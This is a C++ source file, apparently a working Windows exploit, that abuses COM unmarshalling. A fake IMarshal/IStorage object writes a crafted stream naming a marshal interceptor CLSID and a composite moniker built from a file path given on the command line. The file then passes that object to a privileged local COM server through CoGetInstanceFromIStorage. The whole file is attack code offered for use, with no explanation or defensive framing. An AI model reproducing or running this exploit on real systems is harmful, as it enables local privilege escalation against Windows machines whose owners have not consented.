// UnmarshalPwn.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "shlwapi.lib") GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } }; GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } }; UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; UINT monikers[] = { 0x02,0x00,0x00,0x00 }; GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } }; GUID random; OLECHAR* randomString; static bstr_t IIDToBSTR(REFIID riid) { LPOLESTR str; bstr_t ret = "Unknown"; if (SUCCEEDED(StringFromIID(riid, &str))) { ret = str; CoTaskMemFree(str); } return ret; } unsigned char const* GuidToByteArray(GUID const& g) { return reinterpret_cast(&g); } class FakeObject : public IMarshal, public IStorage { LONG m_lRefCount; IStoragePtr _stg; wchar_t *pFilePath = NULL; public: //Constructor, Destructor FakeObject(IStoragePtr storage, wchar_t *pValue) { _stg = storage; m_lRefCount = 1; pFilePath = pValue; } ~FakeObject() {}; //IUnknown HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) { if (riid == __uuidof(IUnknown)) { printf("Query for IUnknown\n"); *ppvObj = this; } else if (riid == __uuidof(IStorage)) { printf("Query for IStorage\n"); *ppvObj = static_cast(this); } else if (riid == __uuidof(IMarshal)) { printf("Query for IMarshal\n"); *ppvObj = static_cast(this); } else { printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); *ppvObj = NULL; return E_NOINTERFACE; } ((IUnknown*)*ppvObj)->AddRef(); return NOERROR; } ULONG __stdcall AddRef() { return InterlockedIncrement(&m_lRefCount); } ULONG __stdcall Release() { ULONG ulCount = InterlockedDecrement(&m_lRefCount); if (0 == ulCount) { delete this; } return ulCount; } virtual HRESULT STDMETHODCALLTYPE CreateStream( /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName, /* [in] */ DWORD grfMode, /* [in] */ DWORD reserved1, /* [in] */ DWORD reserved2, /* [out] */ __RPC__deref_out_opt IStream **ppstm) { printf("Call: CreateStream\n"); return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); } virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream( /* [annotation][string][in] */ _In_z_ const OLECHAR *pwcsName, /* [annotation][unique][in] */ _Reserved_ void *reserved1, /* [in] */ DWORD grfMode, /* [in] */ DWORD reserved2, /* [annotation][out] */ _Outptr_ IStream **ppstm) { printf("Call: OpenStream\n"); _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); return S_OK; } virtual HRESULT STDMETHODCALLTYPE CreateStorage( /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName, /* [in] */ DWORD grfMode, /* [in] */ DWORD reserved1, /* [in] */ DWORD reserved2, /* [out] */ __RPC__deref_out_opt IStorage **ppstg) { printf("Call: CreateStorage\n"); _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); return S_OK; } virtual HRESULT STDMETHODCALLTYPE OpenStorage( /* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName, /* [unique][in] */ __RPC__in_opt IStorage *pstgPriority, /* [in] */ DWORD grfMode, /* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude, /* [in] */ DWORD reserved, /* [out] */ __RPC__deref_out_opt IStorage **ppstg) { printf("Call: OpenStorage\n"); _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); return S_OK; } virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo( /* [in] */ DWORD ciidExclude, /* [annotation][size_is][unique][in] */ _In_reads_opt_(ciidExclude) const IID *rgiidExclude, /* [annotation][unique][in] */ _In_opt_ SNB snbExclude, /* [annotation][unique][in] */ _In_ IStorage *pstgDest) { printf("Call: CopyTo\n"); _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); return S_OK; } virtual HRESULT STDMETHODCALLTYPE MoveElementTo( /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName, /* [unique][in] */ __RPC__in_opt IStorage *pstgDest, /* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName, /* [in] */ DWORD grfFlags) { printf("Call: MoveElementTo\n"); _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); return S_OK; } virtual HRESULT STDMETHODCALLTYPE Commit( /* [in] */ DWORD grfCommitFlags) { printf("Call: Commit\n"); _stg->Commit(grfCommitFlags); return S_OK; } virtual HRESULT STDMETHODCALLTYPE Revert(void) { printf("Call: Revert\n"); return S_OK; } virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements( /* [annotation][in] */ _Reserved_ DWORD reserved1, /* [annotation][size_is][unique][in] */ _Reserved_ void *reserved2, /* [annotation][in] */ _Reserved_ DWORD reserved3, /* [annotation][out] */ _Outptr_ IEnumSTATSTG **ppenum) { printf("Call: EnumElements\n"); _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); return S_OK; } virtual HRESULT STDMETHODCALLTYPE DestroyElement( /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) { printf("Call: DestroyElement\n"); _stg->DestroyElement(pwcsName); return S_OK; } virtual HRESULT STDMETHODCALLTYPE RenameElement( /* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName, /* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) { printf("Call: RenameElement\n"); return S_OK; }; virtual HRESULT STDMETHODCALLTYPE SetElementTimes( /* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName, /* [unique][in] */ __RPC__in_opt const FILETIME *pctime, /* [unique][in] */ __RPC__in_opt const FILETIME *patime, /* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) { printf("Call: SetElementTimes\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE SetClass( /* [in] */ __RPC__in REFCLSID clsid) { printf("Call: SetClass\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE SetStateBits( /* [in] */ DWORD grfStateBits, /* [in] */ DWORD grfMask) { printf("Call: SetStateBits\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE Stat( /* [out] */ __RPC__out STATSTG *pstatstg, /* [in] */ DWORD grfStatFlag) { printf("Call: Stat\n"); HRESULT hr = 0; size_t len = 0; len = wcsnlen_s(randomString, MAX_PATH) + 1; PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR)); wcscpy_s(s, len, randomString); pstatstg[0].pwcsName = s; hr = _stg->Stat(pstatstg, grfStatFlag); printf("End: Stat\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ CLSID *pCid) { printf("Call: GetUnmarshalClass\n"); *pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A return S_OK; } virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax( /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags, /* [annotation][out] */ _Out_ DWORD *pSize) { printf("Call: GetMarshalSizeMax\n"); *pSize = 1024; return S_OK; } virtual HRESULT STDMETHODCALLTYPE MarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags) { printf("Call: MarshalInterface\n"); ULONG written = 0; HRESULT hr = 0; pStm->Write(header, 12, &written); pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written); IMonikerPtr fileMoniker; IMonikerPtr newMoniker; IBindCtxPtr context; pStm->Write(monikers, 4, &written); pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written); pStm->Write(monikers, 4, &written); hr = CreateBindCtx(0, &context); hr = CreateFileMoniker(pFilePath, &fileMoniker); hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker); hr = OleSaveToStream(fileMoniker, pStm); hr = OleSaveToStream(newMoniker, pStm); return S_OK; } virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][out] */ _Outptr_ void **ppv) { printf("Call: UnmarshalInterface\n"); return E_NOTIMPL; } virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData( /* [annotation][unique][in] */ _In_ IStream *pStm) { printf("Call: ReleaseMarshalData\n"); return S_OK; } virtual HRESULT STDMETHODCALLTYPE DisconnectObject( /* [annotation][in] */ _In_ DWORD dwReserved) { printf("Call: DisconnectObject\n"); return S_OK; } }; static HRESULT Check(HRESULT hr) { if (FAILED(hr)) { throw _com_error(hr); } return hr; } void Exploit(wchar_t *pValue) { HRESULT hr = 0; IStoragePtr storage = nullptr; MULTI_QI* qi = new MULTI_QI[1]; GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } }; hr = CoCreateGuid(&random); StringFromCLSID(random, &randomString); StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage); IStoragePtr pFake = new FakeObject(storage, pValue); qi[0].pIID = &IID_IUnknown; qi[0].pItf = NULL; qi[0].hr = 0; CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi); } class CoInit { public: CoInit() { Check(CoInitialize(nullptr)); Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr)); } ~CoInit() { CoUninitialize(); } }; int wmain(int argc, wchar_t** argv) { try { CoInit ci; Exploit(argv[1]); } catch (const _com_error& err) { printf("Error: %ls\n", err.ErrorMessage()); } return 0; }